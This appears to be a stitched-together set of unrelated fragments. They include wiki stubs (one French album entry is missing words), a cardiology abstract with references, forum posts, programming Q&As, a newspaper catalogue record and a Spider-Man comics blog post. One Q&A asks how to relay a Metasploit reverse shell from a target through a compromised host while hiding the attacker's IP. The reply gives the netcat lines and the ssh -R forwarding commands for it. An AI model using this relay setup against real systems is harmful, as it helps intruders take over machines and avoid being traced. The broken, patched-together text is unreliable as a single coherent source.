Mortos no século XIII
Condessas da França
Mulheres do século XIII


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Euryglottis johannes is a moth of the  family Sphingidae. It is known from Venezuela.

References

Euryglottis
Moths described in 1998


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Appropriateness of use criteria for transthoracic echocardiography: are they relevant outside the USA?
Maria-Magdalena Gurzun, Adrian Ionescu
European Heart Journal Cardiovascular Imaging 2014, 15 (4): 450-5
BACKGROUND: Appropriateness of use criteria (AUC) for transthoracic echocardiography (TTE) have been developed by American cardiology associations to help avoid unnecessary scans by formalizing indications for imaging. There are 98 indications classified as either appropriate (A), inappropriate (I), or uncertain (U). AUC may allow better targeting of limited resources, but they have not been tested systematically outside the USA.
AIM OF THE STUDY: To test AUC in Wales, one of the four countries of the UK.
METHODS: We collected requests for TTE and the corresponding TTE reports from all Welsh hospitals during 1 week in June 2012 and analysed them according to appropriateness, specialty, and location (secondary vs. tertiary services) of the referring physician.
RESULTS: We analysed 1070 pairs of echocardiography requests and TTE reports from 14 hospitals [mean age 66.5 (16.1) years; 579 (51%) M]: A-922 (86%); I-115 (11%), and U-33 (3%); 287 (25%) studies were from two tertiary centres and 338 (29.5%) were of inpatients. Main indications were the evaluation of: cardiac structure and function (489, 45.7%), valvular function (267, 25%), and hypertension, heart failure, or cardiomyopathy (149, 13.9%). In-patient requests (main indication--'initial evaluation of left ventricle ejection fraction post acute coronary syndrome'--44 studies, 13.7%) were more often appropriate than outpatients (main indication--'symptoms/conditions potentially related to suspected cardiac aetiology'--142 studies, 19.8%): 94.4 vs. 83.5%, P < 0.05. The most common inappropriate indication was 'initial evaluation for a murmur/click without symptoms/signs of structural heart disease' (29 studies, 2.7%). The proportion of appropriate requests by specialty was 89% for medical, 87% for GPs, 85.3% for cardiologists, 80.8% for surgical, and 60% for cardiac surgeons (P < 0.05 for cardiac surgeons); 47.8% of requests were generated by cardiologists, and abnormalities were detected in 82% of all scans (37% minor findings and 45% major findings), least often in those requested by general practitioners.
CONCLUSION: Application of AUC yields results similar to those reported from the USA; ∼1 in 10 scans could be avoided.
Application of 2011 American College of Cardiology Foundation/American Society of Echocardiography appropriateness use criteria in hospitalized patients referred for transthoracic echocardiography in a community setting. Piercarlo Ballo, Fabrizio Bandini, Irene Capecchi, Leandro Chiodi, Giuseppe Ferro, Alberto Fortini, Gabriele Giuliani, Giancarlo Landini, Raffaele Laureano, Massimo Milli, Gabriele Nenci, Francesco Pizzarelli, Giovanni Maria Santoro, Pasquale Vannelli, Carlo Cappelletti, Alfredo Zuppiroli Journal of the American Society of Echocardiography 2012, 25 (6): 589-98
Prospective evaluation of the clinical application of the American College of Cardiology Foundation/American Society of Echocardiography Appropriateness Criteria for transthoracic echocardiography. R Parker Ward, Ibrahim N Mansour, Nicole Lemieux, Nitin Gera, Rupa Mehta, Roberto M Lang JACC. Cardiovascular Imaging 2008, 1 (5): 663-71
[The "Appropriatezza ECO Milano" project. Assessment of appropriateness of indications, prescriptions and clinical utility of two-dimensional Doppler echocardiography among inpatients and outpatients of Milan, Italy]. Antonio Mantero, Francesco Gentile, Antonia Alberti, Chiara Bencini, Amedeo Bongarzoni, Renato Bragato, Giovanna Branzi, Franco Casazza, Alessandro Cialfi, Livia Dihel, Erminia Giagnoni, Joanna Heyman, Leonida Lombardi, Roberto Mattioli, Anna Alice Mazzola, Vincenzo Montericcio, Mauro Pepi, Maurizio Tusa, Alberto Morabito Giornale Italiano di Cardiologia 2008, 9 (12): 844-52
Comparison of echocardiography request appropriateness between public and private hospitals. Flávia Candolo Pupo Barbosa, Evandro Tinoco Mesquita, Laiz Baniziolli Barachi, Angelo Salgado, Rafael Kazuo, Maria Luiza Garcia Rosa, Claudio Tinoco Mesquita Arquivos Brasileiros de Cardiologia 2011, 97 (4): 281-8
The use of transthoracic echocardiography and adherence to appropriate use criteria at a regional hospital. Simone A Bailey, Ionut Mosteanu, Patricia A Tietjen, Joann R Petrini, Jonathan Alexander, Andrew M Keller Journal of the American Society of Echocardiography 2012, 25 (9): 1015-22
Comparison of the updated 2011 appropriate use criteria for echocardiography to the original criteria for transthoracic, transesophageal, and stress echocardiography. Ibrahim N Mansour, Rabia R Razi, Nicole M Bhave, R Parker Ward Journal of the American Society of Echocardiography 2012, 25 (11): 1153-61
Appropriate use criteria for stress echocardiography: impact of updated criteria on appropriateness ratings, correlation with pre-authorization guidelines, and effect of temporal trends and an educational initiative on utilization. Howard J Willens, Katarina Nelson, Robert C Hendel JACC. Cardiovascular Imaging 2013, 6 (3): 297-309
Comparison of the clinical application of the American College of Cardiology Foundation/American Society of Echocardiography Appropriateness Criteria for outpatient transthoracic echocardiography in academic and community practice settings. R Parker Ward, Daniel Krauss, Ibrahim N Mansour, Nicole Lemieux, Nitin Gera, Roberto M Lang, et al. Journal of the American Society of Echocardiography 2009, 22 (12): 1375-81
Applicability, limitations and downstream impact of echocardiography utilization based on the Appropriateness Use Criteria for transthoracic and transesophageal echocardiography. Mohammad Alqarqaz, Jayanth Koneru, Meredith Mahan, Karthik Ananthasubramaniam International Journal of Cardiovascular Imaging 2012, 28 (8): 1951-8
Evaluation of appropriate use of transthoracic echocardiography in 1,820 consecutive patients using the 2011 revised appropriate use criteria for echocardiography. Harshal R Patil, Tina R Coggins, Lisa L Kusnetzky, Michael L Main American Journal of Cardiology 2012 June 15, 109 (12): 1814-7


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est le premier album de P!nk, sorti en . Il a donné lieu à trois  (, , et ). Contrairement aux albums suivants qui s'orienteront plutôt vers le rock, celui-ci contient des sonorités très RnB.

En , il s'est vendu à 2,4 millions de copies aux États-Unis selon Nielsen SoundScan. Il a été produit par Kevin "She'kspere" Briggs, Babyface, Kandi Burruss, Terence "Tramp-Baby" Abney, Daryl Simmons, Tricky et Daron Jones.

Deux chansons sont présentes dans des films de  :  dans  et  dans Princesse malgré elle.

Liste des titres

Notes et références

Album de Pink
Premier album musical sorti en 2000


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Q: Redirect metasploit traffic through a compromised host first of all I want to say that my issue is not about the 'Portfwd' option of the meterpreter: https://www.offensive-security.com/metasploit-unleashed/portfwd/
Lets say I have access to 2 computers:
- Computer A is mine and is running linux.
- Computer B is a compromised host and is also running linux.
- Computer C is the one I want to compromise.
I am using metasploit framework for this purpose. How can I achieve setting a reverse tcp connection from C to B and then connect from A to B to grab the meterpreter session ? The thing is, I don't want B to know the ip address of A at any point. That is why it's A which will have to start the connection (using proxychains or any other program to hide its real IP).
First I tried to reproduce this problem using netcat but maybe I have misunderstood something there:
- Computer A is running a netcat server on port 4444: nc -l -p 4444 (because A will run the meterpreter server).
- Computer C will connect to B on port 8888 nc 'B' 8888 (because C will execute the payload and will connect to the compromised server so it has no link with my real IP)
- Computer B will have to set up a netcat listener on port 8888 to accept a tcp connection from C (I am not sure about this one)
Now my question is: how can I get the connection between B and A without B knowing the ip address of A.
I tried to use ssh to do a local port fowarding from A to B:
torify ssh -NL 4444:localhost:8888 B but it is telling me that the port 4444 is already used (by the nc listener on A)
I drew a simple scheme so maybe it will be more clear, the following scheme is what I would like to have:

A: So, you want to forward port B:8888 to A:4444 from server A,

A:$ ssh -R 8888:localhost:4444 B

This opens port 8888 listening on B and forwards connections to port 4444 on A, where your server is. This works if the ssh server in B has the configuration option GatewayPorts set to yes.
If GatewayPorts is set to clientspecified you could use one of the following commands,
A:$ ssh -R  :8888:localhost:4444 B
A:$ ssh -R *:8888:localhost:4444 B

GatewayPorts unset or set to no binds the socket to localhost, preventing the remote forwarding to work.

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i wanted 2 make a poll with 3 options.. it didnt let me it offered more than 2.. but when u looked at it only showed the first 2.. it would b nice 2 b able 2 have more options for the poll.. just my opinion..
Are you using the "add option button"? I don't see where there is a limitation at two poll choices.
yeah i used that and it looks like u can have as many options as u want but when u try 2 add more than 2 and hit submit only 2 show up.. idk c if you can make a poll with 3 options.. mayb its just me..
*shrugs* seems to work for me.
There is the possibility that it works for me because I'm a mod/admin, I'll look into it further but for now keep trying.


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Q: Assign snmpbulkwalk output to associative array in bash script I've searched high and low for an answer but the solution continues to evade me. Below are the results of an snmpbulkwalk that I'm running against a local server.
snmpbulkwalk -v2c -Oqs -m EGT-VIPr-TRx -c <community> <ip> egtViprOutputMuxSecDestPort | sed -e 's/egtViprOutputMuxSecDestPort\.//g'
Output
1 2001
4 2002
5 2003
8 2004

My goal is to assign this output to an associative array in bash (ex array[1]=2001, array[4]=2002, ...). Below is the code that I've used in the past when assigning snmpbulkwalk output to a standard array. However I've had no success with associative arrays.
declare -A array
array=($(snmpbulkwalk -v2c -Oqs -m EGT-VIPr-TRx -c <community> <ip> egtViprOutputMuxSecDestPort | sed -e 's/egtViprOutputMuxSecDestPort\.//g'))
echo ${array[1]}

Output
array: 1: must use subscript when assigning associative array
array: 2001: must use subscript when assigning associative array
array: 2: must use subscript when assigning associative array
array: 2002: must use subscript when assigning associative array
array: 3: must use subscript when assigning associative array
array: 2003: must use subscript when assigning associative array
array: 4: must use subscript when assigning associative array
array: 2004: must use subscript when assigning associative array

Any assistance would be greatly appreciated.

A: I've found a workable solution and I'm posting the answer for future reference.  After much trial and error a while read loop accomplished my ultimate goal.
declare -A array

while read id value; do
        array[$id]=$value
done < <(snmpbulkwalk -v2c -Oqs -m EGT-VIPr-TRx -c <community> <ip> egtViprOutputMuxSecDestPort | sed -e 's/egtViprOutputMuxSecDestPort\.//g')

echo ${array[1]}

Output
2001

I struggled somewhat with the syntax for reading the output from snmpbulkwalk into my loop, but the code above works perfectly in my scenario.


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Q: ggplot geom_text not seating on top of bars I have some data where some groups do not appear on all months. I am plotting this on a bar graph but with a text label showing the numerical values but the text are not seating on top of each bar.  I tried using the position "dodge" for the labels but with no success.
Below is a reproducible example:
library(ggplot2)
library(dplyr)
library(scales)

data.frame(Month = as.Date(c("2015-01-01", "2015-01-01","2015-01-01",
"2015-02-01","2015-02-01","2015-02-01")),
       types = rep(LETTERS[1:3],2),
       percent = c(0.2,NA,NA,.39,.89,.59)) %>%
  ggplot( aes(x = Month, y = percent, fill = types)) +
  geom_bar(stat = "identity", position = "dodge") +
  scale_y_continuous(labels = percent) +
  scale_x_date(labels = date_format("%Y-%b")) +
  geom_text(stat = 'identity',
        aes(label = ifelse(percent > .02,
                           paste(round(percent*100,0),"%",sep = "") ,'')))

This is what it looks like:

A: A couple suggestions,

*

*Use lubridate for working with dates

*Set Months to a factor variable.  This will help when using position_dodge().

Try using the code below.  If you have more than one year of data you may consider constructing the month factor variable with the year appended to the month.
library(ggplot2)
library(dplyr)
library(scales)
library(lubridate)

data.frame(Month = months(ymd(c("2015-01-01", "2015-01-01","2015-01-01", "2015-02-01","2015-02-01","2015-02-01"))),
           types = rep(LETTERS[1:3],2),
           percent = c(0.2,NA,NA,.39,.89,.59)) %>%
  mutate(Month = factor(Month, levels = month.name),
         label = ifelse(!is.na(percent), paste0(round(percent*100), "%"), "")) %>%
  ggplot() +
  aes(x = Month, y = percent, fill = types) +
  geom_bar(stat = "identity", position = position_dodge(w = 0.75)) +
  geom_text(position = position_dodge(w = 0.75),
            aes(ymax = percent, label = label))


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Q: Rails 3 Should All Javascript Be Stored In The Head Tag? I've ran into a strange bug in Ruby on Rails. I'm attempting to implement the Uploadify JQuery library to handle multiple uploads using a flash object. I'm implementing this functionality on a tab that is loaded with Ajax. Previously I had my javascript_include_tag for my Uploadify js files on the same ajax page as the pertinent HTML affected by Uploadify. However, this produced some very odd results. Sometimes the calls to my Uploadify functions on that page would work, and other times it would fail completely. If in the case it didn't work by switching between tabs and retrieving the Ajax page a second or third time it usually fixed the problem. Oddly enough if I inspected the HTML with Firebug the javascript link was nowhere to be seen even when the Javascript functionality was working, though I did see the network request for the file. I tried moving the javascript_include_tag for uploadify to the head tag in my application layout but then Uploadify flatout ceased to work completely.
When I pushed the uploadify functionality with the link tag on the Ajax page to my production server the problem was still present, but a lot less frequent. In fact I only noticed it a few times. Also this functionality ceases to work on any other browser period, just Firefox, but that might be a completely different issue that I'll I have figure out (even though Javascript should be browser independent....).
Here's what my head tag looked like when I tried to include the uploadify call in it:
%head
    %title Virtual Robot Games
    = stylesheet_link_tag 'style.css','web_app_theme.css', 'events.css', :media => 'screen'
    = csrf_meta_tag
    = javascript_include_tag 'jquery'
    = javascript_include_tag 'prototype'
    = javascript_include_tag 'noconflict.js'
    = javascript_include_tag 'effects.js'
    = javascript_include_tag 'calendar_date_select'
    = javascript_include_tag 'highlight'
    = javascript_include_tag 'textcounter'
    = javascript_include_tag 'scriptaculous.js'
    = javascript_include_tag 'collapsible.js'
    = javascript_include_tag 'bbhelp.js'
    = javascript_include_tag 'swfobject'
    = javascript_include_tag 'application'
    = javascript_include_tag 'uploadify'

Extra info:
I'm using both Prototype and JQuery and they're constantly conflicting with one-another, but I'm usually able to work around this. I've never had any scenarious where the two libraries were conflicting and I've had JQuery that only sometimes work. Usually if there's a conflict it flat out won't work at all.
EDIT
Actually I think I figured out the problem, I'm using the jquery-rails gem and I forgot to include the JQuery library in my Uploadify js file. Instead I had an inline link to googleapi. Replacing the google api link with the includes calls fixed the problem. Though my original question stands, should my JavaScript links all be stored in my head tag?

A: "Though my original question stands, should my JavaScript links all be stored in my head tag?"
javascript_include_tag is just a helper which generates <script></script> element in the html markup. So you can add it for instance before end of the </body> or anywhere in the page. You can also use it in partials. The other common practice is to use content_for in templates/partials and in your layout the associated label for example in <head> section. The purpose of it is to load only relevant js, when only one part of the site is very JavaScript intensive (perhaps charts/graphics/reports etc.) and the other site modules do not use that js libraries at all (but all modules share common layout).
So to sum it up, placement of javascript_include_tag depends more on the JavaScript execution rules on the html page than anything else. Use it as <script></script> element.


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The Library of Congress > Chronicling America > The Bernalillo times.
{ title: 'About The Bernalillo times. (Bernalillo, N.M.) 1929-1971', download_links: [ { link: 'https://www.loc.gov/rss/ndnp/ndnp.xml', label: 'application/rss+xml', meta: 'News about Chronicling America - RSS Feed', }, { link: '/lccn/sn92070487/marc.xml', label: 'application/marc+xml', meta: 'MARCXML Record for The Bernalillo times.', }, { link: '/lccn/sn92070487/feed/', label: 'application/atom+xml', meta: 'Update Feed for The Bernalillo times.', }, ] }
About The Bernalillo times. (Bernalillo, N.M.) 1929-1971
Bernalillo, N.M. (1929-1971)
The Bernalillo times. : (Bernalillo, N.M.) 1929-1971
Bernalillo, N.M.
Bernalillo, Sandoval, New Mexico | View more titles from this: City County, State
Vida L. Randall
-v. 41, no. 18 (Feb. 19, 1971).
Began in Aug. 8, 1929.
Bernalillo (N.M.)--Newspapers.
New Mexico--Bernalillo.--fast--(OCoLC)fst01265141
New Mexico--Sandoval County.--fast--(OCoLC)fst01216711
Sandoval County (N.M.)--Newspapers.
Description based on: Vol. 1, no. 48 (June 20, 1930).
In English and Spanish, <1930>-1942.
Other eds.: Independent of Valencia County, 1936-<Dec. 26, 1969>, and: Independiente and the New Mexico independent (Albuquerque, N.M. : 1933), <Mar. 17, 1933>, and: Independiente (Albuquerque, N.M.), 1936-Dec. 2, 1939, and: Independiente and the New Mexico independent (Albuquerque, N.M. : 1939), Dec. 29, 1939-Aug. 12, 1966, and: Independiente of Bernalillo County, Aug. 19, 1966-<Dec. 26, 1969>.
Predominantly in English, some text in Spanish, 1957-1971.
Predominantly in Spanish, some text in English, 1942-1957.
Sandoval County times-independent. [volume] (Albuquerque, N.M.) 1971-198?
Related Titles:
The Independent of Valencia County. [volume] (Albuquerque, N.M.) 1936-19??
El independiente. [volume] (Albuquerque, Nuevo México) 1933-1939
El independiente and the New Mexico independent. [volume] (Albuquerque, Nuevo México) 19??-1933
El independiente and the New Mexico independent. [volume] (Albuquerque, N.M.) 1939-1966
El independiente of Bernalillo County. [volume] (Albuquerque, N.M.) 1966-1971


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The Reading Experience: Peter Parker's Big Ol Brain
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Considering how much pain and suffering Peter Parker has had to endure because of his secret life of Spider-Man, I'm always filled with the warm and fuzzies when something goes right for him. When Marvel transitioned to the Brand New Day story-arc a few years back, the rotating crew of writers seemed to get away from trying to sprinkle some good karmic fairy dust on Peter's life. But since taking over writing responsibilities full-time, Dan Slott has seemingly got Peter's life back on track – a new job, a new steady girlfriend, responsible side-gigs with the Future Foundation and the Avengers. And this one specific panel from Amazing Spider-Man 663 perhaps best personifies how Slott has brought some dignity back to Marvel's flagship character.
It's worth remembering that before Peter got his super powers from a radioactive spider, he had a superhuman-level mind as a brilliant high school science student. So much of the early Stan Lee/Steve Ditko ASM issues dealt with how Peter used his brains to enhance his super strength, including designing his own web shooters and fluid. Plus, it made the Spider-Man character so much more accessible since the world's greatest superhero was actually a nerdy bookworm under the mask.
But what has Peter actually accomplished with his science background? Sure, he's enhanced his spider powers and in later issues, he taught high school, but Peter has never truly been recognized by the scientific community in any meaningful way. By getting Peter a new job at a laboratory, Slott has presented his character with opportunity to finally break through in that community. And as we can see in ASM #663, all Peter ever really needed is that opportunity.
Peter's jubilation after learning that he was published in the American Science Journal is such a joyous, celebratory moment in ASM. And I love how he shouts that the moment unequivocally eclipses his experiences with the Future Foundation and the Avengers, and his time spent as a photographer, because he was able to pull this off with his "big ol brain."
Getting published in the journal may be Peter's finest achievement accomplished with zero assistance from Spider-Man. If anything, all of the time he spends as Spider-Man was probably more of a deterrent than a help. Just imagine how much Peter would have accomplished within the scientific community if he had never been bitten by a radioactive spider.
Which is also what makes this moment quite bittersweet. Because as I wrote about a few weeks ago, just a few pages after this crowning achievement, Spider-Man is back on the streets, putting his life on the line against villains like Anti-Venom. It's almost unfair that Peter can't get a few minutes to enjoy his moment, but this is the life he was meant to live after he chose using his great power in a responsible way.
Still, I love that Slott gives readers and fans this portal into a joyous moment in Peter's life. While the Ultimate universe may be killing off Peter Parker and trying somebody new under the mask, long-time readers of Spider-Man comics will tell you that Peter is as essential to our enjoyment as Spider-Man himself. The man under the mask has character, integrity and brains. He needs to be on display. Slott gets that.
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Mark Ginocchio is a professional writer and editor living in Brooklyn, NY. He's been collecting Amazing Spider-Man comic books since the late-1980s and launched Chasing Amazing in 2011 as a way to tell his story about Spider-Man, comics, collecting and everything else in-between. You also find Mark's writing at Comics Should Be Good at Comic Book Resources, WhatCulture.com and Longbox Graveyard. Follow him on Twitter for comic book chat @ChasingASMBlog.
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Great entry! I love the gleeful celebration we get to see here. It made me smile. 🙂 Peter Parker is really well crafted character (with and without the mask).
Thelonious_Nick
I really enjoyed this moment too–what interests Peter is not money or fame, at least among the general public, but helping science to advance.
"Just imagine how much Peter would have accomplished within the scientific community if he had never been bitten by a radioactive spider."
Interesting question–maybe Peter would have done more good for the world had he never become Spider-Man? Somebody probably would have stopped those villains (many of whom are really fairly B-list anyway), but maybe Peter could have invented or discovered something that would improve the lives of millions. I'm not sure I've ever seen this question addressed in a Spider-Man title.